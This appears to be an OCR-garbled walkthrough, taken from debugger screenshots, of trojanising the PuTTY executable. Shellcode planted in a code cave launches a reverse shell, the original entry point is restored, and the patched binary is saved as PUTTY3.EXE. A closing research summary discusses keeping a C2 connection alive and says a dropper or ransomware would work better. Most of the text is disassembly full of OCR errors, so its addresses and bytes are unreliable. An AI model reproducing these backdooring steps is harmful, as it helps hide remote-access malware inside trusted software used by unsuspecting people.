] ® || 0045CBE4 65 44F035ED push E03SF044
! L] FFD5 a8l ebp
! ® | 0045CEBEE 4F dec edi
] ®| O045CBEC ~ 75 CD jne putty2.45CB5B
1 L] ES 4COO00000 call puttyz.45CEDF
L 1 IEEEEEEE] 6A 40 push 40

& | 0045CB95 &8 00100000 push 1000

& | O045CB9A &8 00004000 push puttyz. 400000

& 0D045CBOF 53 push ebx

® || 0045CBAD 65 S5BA453ES push E553A458

= | DD45CBAS FFD5S &8l ebp

® | DD45CBAT 93 xchg ebx,eax

® | 0D45CBAS 53 push ebx

@ 0045CEBAD 53 push ebx

& 0D45CEBAA 89E7 mov edi,esp

@ | 0OD45CBAC 57 push edi

® || 0045CBAD &5 00200000 push 2000

® | DD45CBB2 53 push ebx

®| 0045CBBE3 56 push esi

® || 0045CBE4 65 129689E2 push E289%3612

-

| discovered that this call launches the reverse shell after running it step by step by the
breakpoint.

3 PUTTY2.EXE - PID: 4850 - Module: putty2.exe - Thread: Main Thread 3104 - x32dbg [Elevated]

File View Debug Tracdng Plugins Favourites Options Help Apr 17 2021 (TitanEngine)

D8 =0 vt 9d tw oS s LB

E CPU | #Log [ Notes ® Freakpoints B8 Memory Map 'D. Call Stack &R SEH 1| Seript %1 Symbols <? source +' References

S Thr

e[[0035CE9A 63 00004000 push puttyz.400000 400000z "MZ

® | 0O0D45CEBIF 53 push ebx

® | 0D45CBAD &8 SBA453ES push ES53A458
E————0 FFDs 2Tl <bo

® || D045CBAT 93 ebx, eax

® | DD45CEBAS push ebx

@ | DD45CBA9 push ebx

® (| DD45CBAA B89E7 mov edi,esp

e[ DD45CBAC 57 push edi

e[ 0D45CEAD 68 00200000 push 2000

| 0O0D45CEBE2 53 push ebx

Let's find the exit ca11

~



W

File View Debug Tradng Plugine Favourites Options Help Apr 17 2021 (TitanEngine)

S E =0 ¥ 9§ tuwl ¢ =9@fi# s B

B8 cru | o Log |1 Notes ® Breakpoints ## Memory Map ) call Stack =3 SEH L¢3 Seript &) symbols <> source ' References S Threads

~ 75 ES jne puttyZz.45CBAC | A|
58 pop eax
c3 ret
SF pop edi | Assemble at 0045CBE4 X
EB GBFFFFFF call putt
3139 xor dword -
3226 xor ch,by| [mp 0xp045CBED |
3136 xor dword
382E cmp byte ; i : < _
e el [ keep size [ Fil with NOP's () XEDParse (®) asmjit oK Cancel
213?5 ;g; Swér_’i Instruction encoded successfully!
3100 xor dword PTF OST[Eax],ed EIP
C BB _FOBSAZ56 mov_ebx,5 SFO
D045CBE 6A 00 . push O EFL
g3 — push ebx 1
FFD5 __— €2l =bp ZF
0000 add byte ptr al OF
0000 add byte ptr al CF
0000 add byte ptr al
0000 add byte ptr al Lasi
0000 add byte ptr al Lasi
0000 add byte ptr al
0000 add byte ptr al GS
0000 add byte ptr al ES
0000 add byte ptr al cs
0000 add byte ptr al
0000 add byte ptr al =
0000 add byte ptr al <
0000 add byte ptr »al
0000 add byte ptr »al
0000 add byte ptr 2l A Iiefau
> 3:
3
4
5:
.text:0045CBE4 putty2.exe: $5CBE4 #S5CBE4 £

Now we restore original context of the cpu (popfd = restore the FLAG)

E8 6BFFFFFF call putty2.45CB3A
3139 [ecx]

xor dword ptr ds: E PUTTY.EXE X32 + - Sublime Text (UNREGISTERED)
xor ch,byte ptr d
xor dword ptr ds:[es]| File Edit Selection Find View Goto Tools Project Preferences Help
cmp byte ptr ds:[e
7 xor dword ptr ds
34 2E xor al,zE
xor dword ptr ds: g
xor dword ptr ds:[eax] PUTTY.EXE
BB _FOBSA256 mov_ehx, S SE
v EB 07 imp_putty2,45CBED
push ebx Code Cave Breakpoint Addres kﬂdSCQSl

call =bp
add byte ptr
add byte ptr
popfd
opad PUTTY.EXE X32 (Entrypoint Breakpoint)
0045CBEF|  ©000 | e ptr

1 byte ptr
g;gg gg; @8454AD0 | 6A 60 push 66
byte ptr 88454AD2 68 Ba7A4760 push putty.477A
pYAEyEe @0454AD7 | ES ©8210000 call putty.456BE4
g;g: sg; 98454ADC | BF 94000000 mov edi,94
byte ptr 08454AE1 8BC7 mov eax,edi
=] @B454AE3 | E8 BBFAFFFF call putty.4545A0

322E

6A 60 68 BO 7A 47 00

Select some space and put to the binary editor, if we hit enter for the next jump (call
putty.456BE4) will restore back.

push ebx

E PUTTY.EXE X32 » - Sublime Text (UNREGISTERED)

File Edit Selection Find View Goto Tools Project Preferences Help

PUTTY.EXE X32

Code Cave Breakpoint Addr 1 80450961

PUTTY.EXE X32 (Entrypoint Breakpoint)

8e454AD8 6A 60 push 68

90454AD2 68 BO7A4700 push putty.477AB@

80454AD7 E 8210000 call putty.456BE4

8e454ADC BF 94260000 v edi i:"LdrpInitializeProcess™
@0454AE1 | 8BC7 mov eax,edi i Process™
@0454AE3 | E8 BBFAFFFF call putty.4545A0

-.-.-"--.-"--TT--T"--TT-:‘

FA 60 68 B@ 7A 47 8@

<
[C000007C =777

BUTTYZ. exe: $5CBFE #5CBFS

We're done, save the file and give a new name PUTTY3.EXE



Research summary: That's to be expected, I'm experiencing problems that people should
be aware of when the C2 connection needs to be active every time the target application is
running; it's similar to a technique code injection on explore.exe process that needs to run
every time to make an active C2 connection. The techniques used in this case are
insufficient to establish a C2 connection through the use of code cave instead,
implementing dropper/ransomeware is far more effective. For the next experiment, I'm going
to use the same technique as before, but this time I'm going to use an injected code cave
that will pop up calc.exe, which will run under the hood.

Update: Done.
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